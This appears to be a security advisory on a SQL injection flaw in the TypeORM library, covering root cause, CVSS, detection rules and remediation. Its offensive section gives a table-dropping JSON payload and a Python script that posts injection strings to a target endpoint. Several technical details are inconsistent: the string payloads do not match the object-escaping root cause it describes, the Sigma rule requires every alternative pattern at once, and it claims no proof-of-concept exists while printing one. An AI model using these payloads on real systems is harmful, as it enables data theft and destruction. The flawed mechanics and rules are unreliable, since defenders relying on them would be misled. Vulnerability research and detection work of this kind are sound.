CVE-2025-60542

Executive Summary

CVE-2025-60542 is a critical SQL Injection vulnerability in the TypeORM library (versions before 0.3.26). The flaw resides in the repository.save and repository.update methods, where the sqlstring call uses stringifyObjects defaulting to false. This allows an attacker to inject arbitrary SQL via crafted request payloads, potentially leading to data exfiltration, modification, or complete database compromise. No public proof-of-concept or exploit code has been released at this time.

Supply Chain & Package Security

TypeORM is a widely used Object-Relational Mapping (ORM) library for TypeScript and JavaScript (Node.js). This vulnerability poses a significant supply chain risk:

• Affected Ecosystem: npm (Node Package Manager)
• Impact: Any application using TypeORM < 0.3.26 is vulnerable. Attackers can exploit this by sending crafted JSON payloads to endpoints that use save() or update().
• Mitigation: Immediately update to TypeORM 0.3.26 or later. Review all dependencies for transitive usage of TypeORM.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (Unscored by NVD) Threat Level: Critical (based on impact analysis)

Attack Vector (AV): Network (N) – Exploitable remotely. Attack Complexity (AC): Low (L) – No special conditions required. Privileges Required (PR): None (N) – No authentication needed. User Interaction (UI): None (N) – No user action required. Scope (S): Unchanged (U) – Affects only the vulnerable component. Confidentiality (C): High (H) – Full database read access possible. Integrity (I): High (H) – Data can be modified or deleted. Availability (A): High (H) – Database can be disrupted.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Deep Dive & Mechanics

The vulnerability exists in TypeORM's internal SQL generation when processing save() and update() operations. The sqlstring library is used to escape values, but the stringifyObjects option defaults to false. When stringifyObjects is false, objects passed as values are not properly escaped, allowing an attacker to inject SQL fragments.

Root Cause:

• In src/query-builder/InsertQueryBuilder.ts and src/query-builder/UpdateQueryBuilder.ts, the sqlstring call does not set stringifyObjects: true.
• When an object is passed as a value (e.g., { id: 1, name: "'; DROP TABLE users; --" }), the object is stringified without escaping, leading to SQL injection.

Attack Flow:

1. Attacker sends a POST/PUT request to an endpoint that uses repository.save() or repository.update().
2. The request body contains a crafted JSON object with malicious SQL in a string field.
3. TypeORM generates a SQL query using the unescaped value.
4. The SQL injection payload executes, allowing the attacker to read, modify, or delete database records.

Vulnerable vs. Patched Code

Vulnerable Code (TypeORM < 0.3.26):

// src/query-builder/InsertQueryBuilder.ts
const sql = sqlstring.format(query, values); // stringifyObjects defaults to false

Patched Code (TypeORM >= 0.3.26):

// src/query-builder/InsertQueryBuilder.ts
const sql = sqlstring.format(query, values, { stringifyObjects: true });

The fix explicitly sets stringifyObjects: true to ensure objects are properly escaped before being inserted into SQL queries.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Node.js application using TypeORM < 0.3.26
• Endpoint that accepts JSON and calls repository.save() or repository.update()

Exploit Payload:

{
  "username": "admin",
  "password": "'; DROP TABLE users; --"
}

Exploit Script (Python):

import requests

target_url = "http://target.com/api/users"
payload = {
    "username": "test",
    "password": "'; SELECT * FROM users; --"
}

response = requests.post(target_url, json=payload)
print(response.text)

Expected Outcome: The SQL injection executes, potentially returning all user data or dropping tables.

Blue Team (Defensive)

Detection:

• Monitor for unusual SQL errors in application logs (e.g., "syntax error", "unexpected end of SQL command").
• Look for requests containing SQL keywords (SELECT, DROP, UNION, --) in JSON fields.
• Use WAF rules to block requests with SQL injection patterns.

Honeypot:

• Deploy a fake endpoint using TypeORM with a vulnerable version to capture attacker payloads.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests with JSON bodies containing SQL keywords (e.g., ' OR '1'='1, '; DROP TABLE)
• Unusual SQL error messages in HTTP responses (e.g., ER_PARSE_ERROR, syntax error)

Log IOCs:

• Application logs showing SQL syntax errors from save() or update() operations.
• Database logs showing unexpected queries with injected SQL.

File IOCs:

• Presence of TypeORM version < 0.3.26 in package.json or node_modules/typeorm/package.json.

Detection Engineering

YARA Rule

rule CVE_2025_60542_TypeORM_SQLi {
    meta:
        description = "Detects TypeORM SQL injection attempts via crafted JSON payloads"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60542"
    strings:
        $sql_keywords = /('|\")\s*(OR|AND|UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#)\s*/i
        $json_pattern = /"password"\s*:\s*"[^"]*('|\")\s*(OR|AND|UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#)/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-60542 TypeORM SQL Injection Attempt
id: 8f4b3c2a-1d5e-4f7a-9b0c-3d6e8f1a2b4c
status: experimental
description: Detects HTTP requests with SQL injection patterns in JSON fields targeting TypeORM save/update endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: ['POST', 'PUT', 'PATCH']
        http.url|contains: ['/api/', '/save', '/update']
        http.body|contains|all:
            - 'password'
            - "' OR '"
            - "' AND '"
            - "' UNION "
            - "' --"
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in non-SQL contexts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-60542 TypeORM SQL Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/"; http_uri; content:"password"; http_client_body; pcre:"/('|\")\s*(OR|AND|UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade TypeORM to version 0.3.26 or later.
2. Validate Input: Implement strict input validation on all JSON fields before passing to ORM methods.
3. Use Parameterized Queries: Ensure all database queries use parameterized statements (TypeORM's find() and query() methods are safe).

Long-term Measures:

• Dependency Scanning: Use tools like npm audit, Snyk, or OWASP Dependency-Check to detect vulnerable versions.
• WAF Rules: Deploy Web Application Firewall rules to block SQL injection patterns.
• Code Review: Review all code paths that use save() or update() with user-supplied data.

Patch Verification:

# Check current version
npm list typeorm

# Update to patched version
npm install typeorm@0.3.26

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-60542